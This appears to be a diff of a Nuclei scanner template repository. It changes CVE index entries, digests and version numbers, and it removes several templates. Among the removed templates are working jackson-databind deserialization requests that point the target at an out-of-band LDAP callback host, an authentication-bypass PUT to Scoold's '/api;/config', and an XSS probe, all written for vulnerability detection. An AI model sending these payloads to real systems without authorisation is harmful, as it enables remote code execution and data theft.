 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
-{"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
-{"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
@@ -3115,15 +3106,12 @@
 {"ID":"CVE-2025-47812","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Remote Code Execution","Severity":"critical","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\nThe vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\ninto session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\nin arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47812.yaml"}
 {"ID":"CVE-2025-47813","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Path Disclosure via Overlong UID Cookie","Severity":"medium","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).\nThe vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an\noverlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further\nexploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-47813.yaml"}
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
-{"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
-{"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
-{"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -1 +1 @@
-74fd44bfa1a1e5b38ccf7042e175641c
+f49818993b002ec6c2bd227c0a16b3f4
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 4a0a0047304502204c96924e0e528852de3c589165358770b3b0904c24de0cfeae5f9445594f59da022100e96002e2f5262ff59cd136f59234538c2ba03610128b81fa105966e180cef574:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044021f3dec084b1d2c1f40d94cb514cd6098ab498130c1b40bd1030a95fbe476432f022100a42be26e7d98c478e4a0a97209ddea0a09b1c6e4b39cfabb29584fbdea08555a:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4a0a00473045022100c8c1004f8969944f8ba245b06ac66eb77df2b45816ecf321de8d292ba0d08dfb02203742ccd6e6c54965dd0568714fd4321444333e6d2a4d6e79e2e6942f9219667c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210096d75201441ef6df04dab28e29fd600ddfbc601b470ffbc62fb71ec3d963e120022068d2ae1a12e41c4d3f9da888719af2b8bc21e72ad2f997f3fdeb43c3bb448387:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a00473045022016cde7a819ca06911d870eaf4bceddb84b7e5239fd3968819c39045e5798f05e022100ef570ca9c030b744829ce5f6e94e8f87e5c0dacdb6c5b77039d3111851a3c7f1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022007358f350401a1b58f1ec32f847a4bdfb18e50d31b8fab1828c2b0c3fdf4f947022100c25b7a4d20d8a46b610a870f9ddbea4f3f12f526e57db0e00a73f45337dbfbdf:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4b0a00483046022100e148eb3783e8dbc8c782d1fa2ea7d1f1e2950c39a4ba47399cce9c31233661c8022100dcd8e84f9dd9c236d9e12d02b8374566582ec5e00120eff347bd3eb304afd350:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204c01508a4252bce667206d754ffed70a8d0cf3eb514703fe5842f02d5720c534022100b987bd973849478d4c59058624576c9806976d4b6e7514b352833b5369f7ebc1:922c64590222798bb761d5b6d8e72950
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 4a0a00473045022100e9c9533abd6b10f188508cc7d12cdd19ca74fc82dd2f0d1ef5b0b716652374fe02201d7fefee59bfa97631278691b358ec64226e8802aa37ea57fff5bdba19e64c4a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200dae5dc0e8e008f0074bdc8fbe55d26fb5c96ae58f43710893555efbcb2724c302200e12c144c858b2c53080d8cade5eba414e6a7951d394c087429dd8922c3c4831:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a004730450220299f6e20fe0793afb93fb66157d56b4e05c2c487489bb13e0a144bd5c78cb31f0221008a78578f10ba21a15eb47eaea8897bf4a8c6097e3f9d1260aff9f3d7b6bc1969:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dec910af6434c193c5f733ffd89c161047ffc838eb5012281a3475d94aadafe80220654b83eebe67d34d91da8a8709c1cb1bb05bd3cd23aefaecde43e664d828d0a8:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 490a004630440220385c5cf126ccb8948cab2d301413aeb6493fe0e751e0b0409943cc7df39416a0022037de87a60f75e61281a214cc29ce5b8385857ff96ff512495266be48f4890974:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022053f139b0c7ac98002bb2f98cbf81064c0e83f458257755e346e366fbc8f2972b02210083d3f8e7e1fd0a73074abfee15d5aee0262a11bb3cc7604de8bd1d9926915b62:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221009936569a7b2b8663588d6fd7be9de334aa917d4470ee11349c6bd01c0da8c98b02210096bdca1b3716d60f65c1aa614ebbecd33d7b02cddeb170d47014fc32bf5ecf2c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203dd51450e01d8640405d801116b427f5707bf2d2ebd001511ec5f300ab5d7f1302205276f447a2b383ba799a55f8786e86be7874c45a6a6635477bc427eb5d2f8789:922c64590222798bb761d5b6d8e72950
@@ -1 +1 @@
-7.96
+7.95
@@ -1 +1 @@
-4.4.29
+4.4.28
@@ -1 +1 @@
-9.3.9
+9.3.8
@@ -1 +1 @@
-2.2.15
+2.2.14
@@ -1 +1 @@
-4.25
+4.24
@@ -1 +1 @@
-2.5.7
+2.5.6
@@ -1 +1 @@
-3.30.2
+3.30.0
@@ -1 +1 @@
-6.22.2
+6.22
@@ -1 +1 @@
-3.1.1
+3.1.0
@@ -1 +1 @@
-3.0.9
+3.0.8
@@ -1 +1 @@
-21.1.1
+21.1.0
@@ -1 +1 @@
-2.4.4
+2.4.3
@@ -1 +1 @@
-6.0.5
+6.0.3
@@ -1 +1 @@
-5.12.10
+5.12.9
@@ -1 +1 @@
-5.4.0.11
+5.4.0.10
@@ -1 +1 @@
-3.6.2
+3.6.1
@@ -1 +1 @@
-3.10.4
+3.10.3
@@ -1 +1 @@
-4.11.18
+4.11.17
@@ -1 +1 @@
-1.7.1027
+1.7.1026
@@ -1 +1 @@
-1.69.1
+1.69.0
@@ -1 +1 @@
-9.6.0
+9.5.3
@@ -1 +1 @@
-12.9
+12.8
@@ -1 +1 @@
-1.9.6.2
+1.9.6.1
@@ -1 +1 @@
-4.7.0
+4.6.0
@@ -29,8 +29,7 @@ info:
 http:
  - method: GET
    path:
-      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
-      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"
+      - "{{BaseURL}}:4040/jobs/?\"'><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
@@ -40,4 +39,4 @@ http:
          - "contains(content_type, 'text/html')"
          - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
        condition: and
-# digest: 4a0a00473045022100dfb423b59d0b04655b0d54c8c4ca8c61be7f7af3ec1585afc84e79b192cadd31022013aeefc230b09b602bc284466c8b3daf7b27fe8706568198529ba03562237371:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220112adc88e34ee6e0a80b6a096b9fba44a6583944279b71a6728a7599355ebd0c02200989cc42c27c1d7f1fcf1e80b0bb30cc1494d3921ba2249a8fabf70615938845:922c64590222798bb761d5b6d8e72950
@@ -32,7 +32,7 @@ info:
 http:
  - method: POST
    path:
-      - "{{BaseURL}}/SearchSvc/CVSearchService.svc"
+      - "http://{{Host}}:81/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
@@ -58,4 +58,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220083a153204a26a6a3c89c107ffd4b81cdcc13d2e27325b6d7b0b6e6c41bd7f4c022100a300c523e948d7d0b8ae27e237f59a3dc8c58971a215f1e859ac72fed1ab5171:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fbd4f2a465f1231e1ecb2f0730dcc184b1fe559aac2bf8ac19636f5dcf3c24a502201a82b6e695b2eafa62222aa1338fe7db5748bcbcda53d47551e49bc953433bde:922c64590222798bb761d5b6d8e72950
@@ -1,63 +0,0 @@
-id: CVE-2020-9547
-
-info:
-  name: FasterXML jackson-databind - Deserialization Remote Code Execution
-  author: pranjalnegi
-  severity: critical
-  description: |
-    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
-  impact: |
-    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
-  remediation: |
-    Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
-  reference:
-    - https://github.com/fairyming/CVE-2020-9547
-    - https://github.com/FasterXML/jackson-databind/issues/2620
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-9547
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-9547
-    cwe-id: CWE-502
-    epss-score: 0.00943
-    epss-percentile: 0.81205
-    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
-  metadata:
-    max-request: 1
-    vendor: fasterxml
-    product: jackson-databind
-    verified: true
-  tags: cve,cve2020,jackson,databind,deserialization,rce,kev
-
-variables:
-  randstr: "{{rand_text_alphanumeric(8)}}"
-  payload_jndi_ldap: "ldap://{{interactsh-url}}/{{randstr}}"
-
-http:
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        ["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"{{payload_jndi_ldap}}"}]}]
-
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "contains(interactsh_protocol, 'dns')"
-          - "contains_any(content_type, 'application/json', 'text/plain')"
-          - "status_code == 200 || status_code == 400 || status_code == 500"
-        condition: and
-
-      - type: word
-        part: body
-        words:
-          - "JsonMappingException"
-          - "InvalidTypeIdException"
-          - "JdbcRowSetImpl"
-          - "com.fasterxml.jackson.databind"
-          - "javax.naming.NamingException"
-        condition: or
-# digest: 4b0a00483046022100b6e38a8a252b2091a39ac8913665cfaeb16454605ae468d6dcf284ca43ee7e9a0221008900d2c444efb061974c438dca6a96c9be8c03c7668520d80d215c40ec9d2216:922c64590222798bb761d5b6d8e72950
@@ -1,51 +0,0 @@
-id: CVE-2020-9548
-
-info:
-  name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
-  author: tomaquet18
-  severity: critical
-  description: |
-    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-9548
-    - https://github.com/fairyming/CVE-2020-9548
-    - https://www.sangfor.com/blog/cybersecurity/fasterxml-jackson-databind-remote-code-execution-vulnerability-cve-2020-9548
-    - https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3E
-    - https://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3E
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2020-9548
-    cwe-id: CWE-502
-    epss-score: 0.13945
-    epss-percentile: 0.93967
-    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: fasterxml
-    product: jackson-databind
-  tags: cve,cve2020,jackson,fasterxml,rce
-
-http:
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        [
-          "br.com.anteros.dbcp.AnterosDBCPConfig",
-          {
-            "healthCheckRegistry": "ldap://{{interactsh-url}}"
-          }
-        ]
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(interactsh_protocol, "dns")'
-          - 'contains(body, "Error: Class")'
-          - 'contains(content_type, "text/plain")'
-        condition: and
-# digest: 4a0a00473045022100a568e24385dc39f6d07eda0e4ad0fd862032bc573fde5274ac787b182e63692902203ec261c492cc7b5e4ed7c35e0eac379e7f1d0921fd14ce545da611783f9e6eff:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022054971f3615a022afd57b9a9e836cd970b935bfc9eca02b03b8b31ae73774a4db022100a57ef86794f486f58657c8bca7831228d25b278d6e0971ba11f01bb3f9a828da:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ec37fd29521314237a495356958f593cc3cd2302b9ffe40da930adf1577ea9f8022013bdd51ac0b24951d9eb8b4157c63888e7089ddbae4c22f043d5bcc79c3a92b4:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
-id: CVE-2024-50334
-
-info:
-  name: Scoold < 1.64.0 - Authentication Bypass
-  author: xbow,iamnoooob,pdresearch
-  severity: medium
-  description: |
-    Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.
-  reference:
-    - https://xbow.com/blog/xbow-scoold-vuln/
-    - https://nvd.nist.gov/vuln/detail/CVE-2024-50334
-    - https://github.com/Erudika/scoold/releases/tag/1.64.0
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2024-50334
-    cwe-id: CWE-288
-    epss-score: 0.00118
-    epss-percentile: 0.31616
-    cpe: cpe:2.3:a:erudika:scoold:*:*:*:*:*:*:*:*
-  metadata:
-    vendor: erudika
-    product: scoold
-    shodan-query: html:"scoold-wrapper"
-    verified: true
-    max-request: 1
-  tags: cve,cve2024,scoold,info-leak,erudika,auth-bypass
-
-http:
-  - raw:
-      - |
-        PUT /api;/config HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/hocon
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(body, "scoold.app_name")'
-          - 'contains(content_type,"application/json")'
-          - 'status_code==200'
-        condition: and
-# digest: 4a0a0047304502200873a3c3b48733b3fa07f476de41e9344b198f1818e5f31b65a93eeead5c2648022100aa8ca54c2ce28c263a2546ebdb6b0289335d8dd6854578031910425148ccd98a:922c64590222798bb761d5b6d8e72950
@@ -32,9 +32,12 @@ http:
          - '"IP Address"'
        condition: and

-      - type: dsl
-        dsl:
-          - "status_code == 200"
-          - 'contains(content_type, "text/comma-separated-values")'
-        condition: and
-# digest: 4a0a00473045022100d6c820c3209e619f4574945ad16ff80f29b24abb175306d3e2c6f0491ef8714d02205b988a6fa34c3dc6baf1b5d161d8ec62bef5ac03b6ed1a18b39659948fe535f5:922c64590222798bb761d5b6d8e72950
+      - type: word
+        part: content_type
+        words:
+          - "text/comma-separated-values"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a0047304502206acba21c6020a5432ff0cf25085c6ebeba4eb7adfce4cbd2d2622c1130d166cb022100dec80eac34716cfa07b49958ade48247ca9cac54172517ad63180cf8a47a9196:922c64590222798bb761d5b6d8e72950
@@ -1,93 +0,0 @@
-id: CVE-2025-2010
-
-info:
-  name: WordPress JobWP Plugin <= 2.3.9 - SQL Injection
-  author: iamnoooob,rootxharsh,pdresearch
-  severity: critical
-  description: |
-    The JobWP - Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the 'jobwp_upload_resume' parameter in all versions up to, and including, 2.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
-  impact: |
-    Successful exploitation could allow an attacker to execute arbitrary SQL queries, potentially leading to data exfiltration, privilege escalation, or other malicious activities.
-  remediation: |
-    Update the JobWP Plugin to version later than 2.3.9. Alternatively, implement proper input validation and sanitization controls.
-  reference:
-    - https://wpscan.com/vulnerability/26713902-26d8-47e3-b651-fe30d9898270/
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-2010
-  classification:
-    cve-id: CVE-2025-2010
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cwe-id: CWE-89
-  metadata:
-    verified: true
-    max-request: 1
-    product: jobwp
-    fofa-query: body="/wp-content/plugins/jobwp"
-  tags: cve,cve2025,wp,wordpress,wp-plugin,sqli,jobwp
-
-flow: http(1) && http(2)
-
-variables:
-  jobid: "{{jobid}}"
-
-http:
-  - raw:
-      - |
-        GET /jobs/{{jobid}}/ HTTP/1.1
-        Host: {{Hostname}}
-
-    extractors:
-      - type: regex
-        part: body
